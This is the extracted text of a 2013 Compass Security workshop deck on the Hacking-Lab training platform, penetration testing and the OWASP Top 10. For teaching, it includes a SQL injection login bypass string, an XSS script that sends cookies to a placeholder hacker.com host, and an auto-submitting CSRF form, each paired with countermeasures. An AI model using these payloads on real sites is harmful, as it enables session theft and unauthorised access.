Hacking Challenges

Ethical Hacking
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona
Digicomp Hacking Day 2013
by Ivan Bütler, CEO Compass Security AG, Alias E1
ivan.buetler@csnc.ch

Wir sind „Hacker“
© Compass Security AG Slide 2www.csnc.ch

Rapperswil – Berlin - Bern

Was machen wir so den ganzen Tag?

Warum sind Sie heute hier?
Was bringt die Zukunft?
Sie sind ein Nerd?
Illegale Sachen sind reizvoll?
Sie wollen geistig gefordert
werden?
Sie wollen die Welt ein Stück
besser machen?
Sie planen eine Karriere bei der
Cyber Mafia?
Sie planen eine Karriere als Swiss
Cyber Spezialist?
Wegen dem guten Essen?

Übersicht „Security Testing“
Treiber für
Firma Lieferant
Compliance Budget Sign-Off
Treiber für
Security Tests
Awareness
Information Security Management
Ergebnisse / Gefahren

• manuell vs. automatisiert
• einmalig vs. regelmässig
• Blackbox vs. Whitebox
• mit und ohne Login
Methoden
• mit und ohne Login
• Hands-On vs. Review
• mit oder ohne Social Eng.
• mit oder ohne Source Code
• von aussen oder innen?

Simulation von Angreifern – Intensität des Penetration Tests

Was braucht ein guter Tester?
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

Was ist ein guter Security Tester?
Tüftler
Wie funktioniert etwas?
Warum funktioniert es?
Auseinandernehmen
Auseinandernehmen
Zusammenbauen
Töffli Frisierer!

ES BRAUCHT PRAXIS und ZEIT
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

Hacking-Lab Online Security Lab

Hacking-Lab Architecture

Working with Hacking-Lab
Challenge Details
Hands-On
Send Solution
Solution Grading

Hacking-Lab Roles
Student 1. Choose the challenge(s)
2. Solve the challenge
3. Answer the questions (submit)
4. Wait
Teacher 1. Responsible for challenges
2. Receiving your submissions
3. Solution Grading
a) FULLY ACCEPT
b) PARTIALL ACCEPT
c) REJECT

Hacking-Lab Challenges & Categories
Web Security
Malware / Trojan / Bugs
Windows Security
Apple Security
VoiP / SS7 / GSM
Wireless Security
Unix / Linux Security
Crypto Challenges
Apple Security
Penetration Testing
Networking
Forensics
Reverse Engineering
Crypto Challenges
Programming
Fun Challenge

Challenges – SBS versus WG
Every challenge in Hacking-
Lab is available as SBS or
WG
SBS
Step by Step
SBS challenges
are used in
commercial
WG
Wargame
WG challenges
are used in free
trainings, CTF
commercial
trainings.
Trainees do not
have the time to
spend 1-2 hours
per challenge.
They will be
guided through
the challenge.
trainings, CTF
and talent quest.
Solving a WG
challenge is more
difficult and
needs more
knowledge.

Challenges - SBS versus WG
WG Challenges
WG = Wargame
The mission of the challenge is given, but without further details
For the more advanced users
Level 1 = 10 pointsLevel 1 = 10 pointsLevel 1 = 10 pointsLevel 1 = 10 points
SBS Challenges
SBS = Step by Step
The mission of the challenge is given, including a step by step instruction
For the beginners
Level 1 = 5 pointsLevel 1 = 5 pointsLevel 1 = 5 pointsLevel 1 = 5 points (50% of WG)

Examples (Screenshots)
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

Running Events (Classrooms)

Ranking Page

Avatar System

Working from Remote?
Using the HL LiveCD
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona
VPN is required
Using the HL LiveCD

LiveCD Project (OpenVPN)
ESX for LiveCD DevLiveCD Vx.y
LiveCD Vx.z LiveCD Vx.z
VirtualBox OVA
LiveCD Vx.z
Vmware OVA
LiveCD SVN
Repository

Hacking-Lab LiveCD Project

Browser
1) Two profiles
2) Attacker
3) Victim
4) SwitchProxy
5) LiveHttpHeader
6) ... more

ZAP
Inspection
Inspection
Proxy
1) Web Analysis
2) Man in the Middle
3) Open Source
4) Java based
5) Loading = slow

HELP
1) Local webserver
2) Help

How to Access Microsoft VM (VDI)
ROOT
Shell

User
Shell

VPN

Vmware
View
VDI

User: hacker10, hacker11, hacker12 with password compass

Choose VIEW pool (Hacking-Lab Clients)

5) How to Access Microsoft VM (VDI)
Enjoy the XP machine (connected with PCoIP)

https://www.hacking-lab.com/tutorial/
LiveCD usage with VirtualBox Appliance
LiveCD usage with Vmware8 workstation
How to connect in HL with OpenVPN
https://www.hacking-lab.com/FAQ/

Online Qualification im April / Mai 2013
Halb-Final 13. Juni 2013, KKL Luzern
Final in Linz / Wien, 5-7. November 2013

Wie funktioniert der Cyber Challenge?

Machen Sie mit!!
Swiss Cyber Storm Registrierung
https://www.hackinghttps://www.hackinghttps://www.hackinghttps://www.hacking----lab.com/sh/U8TA7c7lab.com/sh/U8TA7c7lab.com/sh/U8TA7c7lab.com/sh/U8TA7c7
Digicomp Hacking Day 2013 Web Security
http://bit.ly/10YcIMmhttp://bit.ly/10YcIMmhttp://bit.ly/10YcIMmhttp://bit.ly/10YcIMm
Digicomp Hacking Day 2013 Penetration Testing
http://bit.ly/18LK7lghttp://bit.ly/18LK7lghttp://bit.ly/18LK7lghttp://bit.ly/18LK7lg

Attack Vectors
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

What are the Hackers doing?
Direct Attacks
BLOCKED
PASSED
BLOCKED

Man in the Middle – e.g. Phishing
Indirect Attacks

Malware – Mobile Devices – W-LAN
Indirect Attacks
PASSED

Covert Channel
Indirect Attacks
Delivery via USB-Stick
InternetCompany Network
Start via
Auto-Start
Attacker „observes“
the victim computer

Network Penetration Testing
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

Anatomy of a Hacker Attack
Footprinting Scanning
ThinkTime
Writing Break-in
Installation
DoS
Source: Anti-Hacker Book
Writing
Exploits
Break-in
Privilege
Escalation
SteelingData
Deleteevident
tracks
Backdoors

Penetration Testing
Information Gathering
Network Research
War Googling
Scanning
Host and Service Discovery
Vulnerability Scanning
Exploitation
Sniffing the Network
Exploiting Vulnerabilities (VLAN, VoIP, Conficker, DNS Updates)
Backdoor Communication
Inside-Out
Covert-Channels

Web Application Security
OWASP Top 10
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona
OWASP Top 10
Digicomp Hacking Day 2013

OWASP TOP 10

OWASP Top 10 (RC1 2010)
A1 SQL Injection
A2 Cross Site Scripting
A3 Broken Auth & Session Management
A4 Insecure Direct Object Reference
A5 Cross Site Request Forgery
A6 Security Misconfiguration
A7 Failure to Restrict URL Access
A8 Unvalidated Redirects and
Forwards
A9 Insecure Cryptographic Storage
A10 Insufficient Transport Layer
Protection

SQL Injection
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

A1: SQL Injection
Injection flaws occur when an
application sends
untrusteddata to an
interpreter. Injection flaws
are very prevalent, often
found in SQL queries,
LDAP queries,
LDAP queries,
XPathqueries, OS
commands, program
arguments, etc. Injection
flaws are easy to discover
when examining code, but
more difficult via testing.

Introduction
Protocols
HTTPS
RMI
SQL

SQL Injection
User input is directly used to build
SQL statements
Application Malicious
Hacker
injects SQL String
Modification of SQL query via browser
Application
Query
select creditcard from
Customers where user is ‘ibuetler’
Malicious
Quer
yOR 1=1;

SQL Injection
Protocols
RMI
HTTPS + SQL Hacker Code
SQL

Threat: Bypass Authentication
Assembling Strings to SQL Queries
public boolean auth(String user, String pass) {
boolean isAuthenticated = false;
string sqlQueryString = "SELECT Username " +
"FROM Users WHERE Username = '" + user +
dynamic concatenation
of SQL string and
parameters
"' AND Password = '" + pass + "'";
int resultCount = perform(sqlQueryString)
if (resultCount > 0) {
return true;
}
return false;
}
Checks if at least one
record exists. But
the result must
contain 0 or one
result

Threat: Bypass Authentication
Attacker uses following input:
Login: meier
Password: ' OR ''='
SELECT Username FROM Users
WHERE Username='meier' AND Password='' OR
''=''
''=''
WHERE clause evaluates to TRUE
All rows of table get select
Result Set will not be empty!!!
User gets authenticated!

Countermeasures
A1: SQL Injection
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona
A1: SQL Injection

Secure Programming
Secure Programming
Java
Use Prepared Statements
ADO.NET
Use Parameters Collection
DB-Level
DB-Level
Stored Procedures (do not use dynamic SQL in SP!)

Secure Programming (I) - Java
Java Prepared Statements
SQL statement gets precompiled at database
Parameters are separate from the SQL statement
Much faster when SQL statement is used several times
Save against SQL injection attacks
PreparedStatement updateSales =
dbCon.prepareStatement("UPDATE COFFEES SET"
+ "SALES=? WHERE COF_NAME LIKE ?");
updateSales.setInt(1, 75); // correct
updateSales.setString(2, "Colombian"); // usage
updateSales.executeUpdate():

Insecure - Secure Programming (III)
But be aware. This Prepared Statement is still vulnerable to
SQL injection!
//Prepares the statement on the database
PreparedStatement updateSales =
dbCon.prepareStatement(
"UPDATE COFFEES SET SALES=? WHERE COF_NAME "
+ "LIKE '" + name + "'"); // insecure usage
//Sets the parameters for the statement
updateSales.setString(1, req.getParameter("sale"));
//Executes the statement
updateSales.executeUpdate():

A1 SQL Injection
Forwards
Protection

A2: Cross Site Scripting
XSS is the most prevalent
web application security
flaw. XSS flaws occur
when an application
includes user supplieddata
ina page sent to the
browser without properly
browser without properly
validating or escapingthat
content.

Attack Vector
Protocol
JavaScript from www.abc.com is
loaded to the client (Malware)
Attrackting!!
Authentication into Web Application
Session Hijacking (re-use client session)

Java Script from Malware Site (1)
E-BankMalware Site
Cookie between
E-Bank and Browser
Java Script from Malware Site
IS GENERALLY DENIEDIS GENERALLY DENIEDIS GENERALLY DENIEDIS GENERALLY DENIED to
access the E-Bank cookie
because of the SAME ORIGIN
POLICY

Java Script from Malware Site (2)
E-BankMalware Site
Cookie between
E-Bank and Browser
<script src=http://Malware Site/m.js>
IS ALLOWEDIS ALLOWEDIS ALLOWEDIS ALLOWED to access the E-
Bank cookie, if the Script is
loaded from the E-Bank site
(Origin) with <script src=>

Cross-Site Scripting (XSS)
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

Session Stealing Sequence
Malicious JavaScript performs its own request
Hacker Client
Web
Application
POST /document.jsp?id=898&
value=<script>location.href="http://hacker.com/"+document.cookie</script>
Stores value
GET /app/document.jsp?id=898
Cookie: session=123
Response:
<script>location.href="http://hacker.com/"
+document.cookie</script>
GET /session=123
Stores value
in DB
Stores Request
in Log File

Reflected XSS
What is reflected XSS?
data provided by a web client is used immediately by server-side
code to generate a page of results for that user.
Attacker has to send a crafted link to the victim.
Typical example: search form
Attacker Victim Webserver
sends link:
http://example.com/search?<script>...</
script> GET /search?<script>...</script>
search results for:
<script>...</script>
Script is
executed

Stored XSS
What is stored XSS?
data provided by a web client is stored in a database. This data is
then presented to the user unencoded.
Malicious script is rendered more than once.
XSS worms are based on stored XSS vulnerabilities.
Typical example: message board

Recommendations
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

XSS Prevention
Possible solutions
Convert output into HTML entities
< <
> >
" "
' '
Input validation on characters
Input validation on characters
Do not accept "dangerous" characters (e.g. <)
Delete "dangerous" characters from request
Transform "dangerous" characters into HTML entities
Input validation on strings / tags
Do not accept "dangerous" tags (e.g. <script>)
Delete "dangerous" tags from request
Transform "dangerous" tags into HTML entities

ESAPI
OWASP Enterprise Security API (ESAPI)
Available for all major programming languages
Java
.NET (work in progress)
PHP (work in progress)
Coldfusion (work in progress)
Coldfusion (work in progress)
...
Methods to prevent XSS
Encoder.encodeForHTML(maliciousString);
Encoder.encodeForHTMLAttribute(maliciousString);
Encoder.encodeForJavascript(maliciousString);
Encoder.encodeForVBScript(maliciousString);

A1 SQL Injection
Forwards
Protection

A3: Broken Authentication
Developers frequently build
custom authentication and
session schemes, but
building these correctly is
hard. As a result, they
frequently have flaws,
usually in areas such as
usually in areas such as
logout, password
management, timeouts,
remember me, secret
question, account update,
etc. Finding such flaws can
sometimes be difficult, as
each implementation is
unique.

HTTP Authentication Mechanisms

Strong Authentication SMS
1) UN/PW
2) OTP

Client Certificate Auth

Authentication Strength
Factors of Authentication (3 variants)
To KNOWKNOWKNOWKNOW something
Password, PIN
To OWNOWNOWNOWN something
Smartcard, SecurId, Safeword, Vasco, OTP
To BEBEBEBE something
To BEBEBEBE something
Fingerprint, Iris, Voice, Face
Definition of “Strong authentication”
Combination of at least 2 factors

Authentication in Web Applications
Browser Authentication
Based on Response Headers (HTTP ProtocolHTTP ProtocolHTTP ProtocolHTTP Protocol)
BasicAuth
DigestAuth
NTML Auth
Form-based Authentication (Application LoginApplication LoginApplication LoginApplication Login)
POST: Submit Login Credentials in Post Body
POST: Submit Login Credentials in Post Body
GET: Submit Login Credentials in URL
SSL based Authentication (HTTPS ProtocolHTTPS ProtocolHTTPS ProtocolHTTPS Protocol)
Client Certificate
Authentication Schemes
Direct
Challenge/Response
Second Channel (SMS, Tokens)

Login Service Attacks
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

User Enumeration
Verbose login related error messages can lead to user enumeration
“Password incorrect”
“User unknown”
Login error messages must be neutral
“Username or Password incorrect”
“Username or Password incorrect”
Critical dialogs
Login
Change password
Lost password

Session Handling Attacks
Tel +41 55 214 41 60
Fax +41 55 214 41 61
team@csnc.ch
www.csnc.ch
Compass Security AG
Werkstrasse 20
Postfach 2038
CH-8645 Jona

Session Fixation
Special form of
session hijacking
Hacker tricks the
victim to use a
Victim Hacker WebApp
/index.html
Session=123;
Please use session=123 for Webapp
/index.html; Session=123
victim to use a
session known
to the hacker
In example
URL based
session tracking
is used
LoginForm
doLogin(UserCredentials) + session=123;
Authenticate();Auth=Successfull!
/protected/index.html + session=123;
/protected/index.html + session=123;

A1 SQL Injection
Forwards
Protection

A4: Insecure Direct Object References
1. For direct references to
restricted resources, the
application needs to
verify the user is
authorized to access the
exact resource they have
requested.
requested.
2. If the reference is an
indirect reference, the
mapping to the direct
reference

Security by Obscurity
Insecure Admin Links
Menu links as the only means of authorization
Bypass with URL and parameter guessing possible
Only partially implemented authorization
Only partially implemented authorization
Function authorization only

Authorization “decentralized”
Single functions must call authorization checks
Function
or Data
Request
Request
Threats
Call to the authorization module are easily forgotten
Each function must be tested
Function
or Data
or Data
Authorization
Check

Authorization “centralized”
Authorization must be implemented
As centrally as possible
As one module
Advantages
Less risk that implementation
of authorization checks are
Authorization Check
Request
Request
of authorization checks are
forgotten
Easier to test
Disadvantages
Data authorization often difficult to achieve
Function
or Data
Function
or Data

A1 SQL Injection
Forwards
Protection

A5: Cross Site Request Forgery
The easiest way to check
whether an application is
vulnerable is to see if each
link and form contains an
unpredictable token for
each user. Without such an
unpredictable token,
unpredictable token,
attackers can forge
malicious requests. Focus
on the links and forms that
invoke state-changing
functions, since those are
the most important CSRF
targets.

Introduction
Cross Site Request Forgery has many names
XSRF
Session Riding
One Click Attack
XSRF != XSS
XSS exploits the trust that a client has for the
XSS exploits the trust that a client has for the
website/application
Client trusts the website:
All the javascript code is necessary to run the webapplication
XSRF exploits the trust that a website has for the user.
Website trusts the client:
All requests made by the user are intended to be made

Cross Site Request Forgery
E-BankMalware Site
Cookie between
E-Bank and Browser
IS NOT ALLOWEDIS NOT ALLOWEDIS NOT ALLOWEDIS NOT ALLOWED to access
the E-Bank cookie

Cross Site Request Forgery
E-BankMalware Site
Cookie between
E-Bank and Browser
<img src=http://bank/do_trade>
<img src=> loads image from
bank = this is allowed and
performs the malicous
transaction

XSRF with GET Method
Actions can be made by calling GET Requests (e.g. Order some
items)
http://www.shop.com/controller?action=buy&productId=1&quantity=
23

XSRF with POST Method
Actions can be made by calling POST Requests (e.g. Order some items)
POST /controller
Host: www.shop.com
.....
action=buy&productId=1&quantity=23

Malicious Hacker „POST“ Form
Prepared Website from Hacker
<body>
<form action="http://www.shop.com/controller"
method="POST">
<input type="hidden" name="action" value="buy"/>
<input type="hidden" name="productId" value="1"/>
<input type="hidden" name="productId" value="1"/>
<input type="hidden" name="quantity" value="23"/>
</form>
<script>
document.forms[0].submit();
</script>
</body>

Assumptions
The attacker knows the target website
How do the requests look like?
The victim has a valid session cookie
If session handling is done in the URL, the website is not
vulnerable to this kind of attack.

Remediation
Form contains hidden field with random token.
Executing the request will send the hidden-field-token to the
server.
Server now checks if the hidden-field-token is valid, if not: the
request is cancelled
Only allowing POST Requests is no solution
Hidden form
Javascript: form.submit()
In other words:
Websites should embed fresh nonce in every form, check for it
on every request
Forged requests will have cookie, but not the nonce

Order after Remediation
Victim Webshop
Login
Cookie = 123
GET /order_form.htm
GET /controller?action=buy&token=uiwe4qi4&...
Cookie=123
Order successful
_
Cookie=123
order_form.htm
<input type=“hidden“ name=“token“ value=“uiwe4qi4“>
Generate random
token and embed
in form as hidden
field
Check token

Order after Remediation

A1 SQL Injection
Forwards
Protection

A6: Security Misconfiguration
Security misconfiguration can
happen at any level of an
application stack, including
the platform, web server,
application server,
framework, and custom
code. Developers and
code. Developers and
network administrators
need to work together to
ensure that the entire stack
is configured properly.
Automated scanners are
useful for detecting missing
patches, misconfigurations,
use of default accounts,
unnecessary services, etc.

Examples of Misconfigurations
Do you have a process for keeping current on the latest
versions and patches to all the software in your environment?
This includes the OS, Web/App Server, DBMS, applications, and
any libraries.
Is everything unnecessary disabled, removed, or not installed
(e.g., ports, services, pages, accounts)?
(e.g., ports, services, pages, accounts)?
Are default account passwords changed or disabled?
Are all other security settings configured properly.
Are all servers protected by Firewalls / Filters … etc. A
concerted, repeatable process is required to develop and
maintain a proper security configuration.

Examples of Misconfigurations
Examples of Glocken-Shop Misconfigurations
XML Injection -> /etc/passwd & /etc/shadow
Directory Browsing of glocken.hacking-lab.com/logs/
Tomcat Service runs with „root“ privileges
Tomcat Service runs with „root“ privileges

A1 SQL Injection
Forwards
Protection

A7: Failure to restrict URL Access
Applications are not always
protecting page requests
properly. Sometimes, URL
protection is managed via
configuration, and the
system is misconfigured.
Sometimes, developers
Sometimes, developers
must include the proper
code checks, and they
forget.
Detecting such flaws is easy.
The hardest part is
identifying which pages
(URLs) exist to attack.

Introduction
Failure to restrict URL access
Privilege Escalation from anonymous to registered user
Privilege Escalation from registered to admin user
Examples of URL‘s
Examples of URL‘s
http://example.com/app/getappInfo
http://example.com/app/admin_getappInfo
Exploit
If an authenticated, non-admin, user is allowed to access the
“admin_getappInfo”page, this is a flaw, and may lead the attacker to
more improperly protected admin pages.

A1 SQL Injection
A8 Unvalidated Redirects and Forwards
Protection

Unvalidated Redirects and Forwards
Such redirects may attempt
to install malware or trick
victims into disclosing
passwords or other
sensitive information.
Unsafe forwards may
allow access control
allow access control
bypass.

A1 SQL Injection
Protection

Insecure Cryptographic Storage
The most common flaw in
this area is simply not
encrypting data that
deserves encryption.
When encryption is
employed, unsafe key
generation and storage,
generation and storage,
not rotating keys, and
weak algorithm usage is
common. Use of weak
and unsalted hashes to
protect passwords is
also common. External
attackers have difficulty
detecting such flaws due
to limited access.

Hashed and Salted User Passwords
Do not store passwords in plain-text to the table!!
Example: table with user accounts & plaintext password pose a
high security risk!
mysql> select username, password from users;
+----------+----------+
+----------+----------+
| username | password |
+----------+----------+
| hacker10 | compass |
| hacker11 | compass |
...
If possible: One-way-hashed and salted passwords using hash
algorithms like SHA-1 (Do not use MD5 anymore)

A1 SQL Injection
Protection

Insufficient Transport Layer Protection
Applications frequently do not
properly protect network
traffic. Usually, they use
SSL/TLS during
authentication, but not
elsewhere, exposing all
transmitted data as well as
transmitted data as well as
session IDs to interception.
Applications sometimes use
expired or improperly
configured certificates as well.
Detecting such flaws is easy. Just
observe the site’s network
traffic.

Mitigation
Use SSL + TLS
Set-Cookie: A=B; secure; HttpOnly
Reverse Proxy
Entry Server
Reverse Proxy
Secure Gateway

Hacking Challenges

Recomendados

Recomendados

Mais conteúdo relacionado

Destaque

Destaque (20)

Semelhante a Hacking Challenges

Semelhante a Hacking Challenges (20)

Mais de Digicomp Academy AG

Mais de Digicomp Academy AG (20)

Último

Último (20)

Hacking Challenges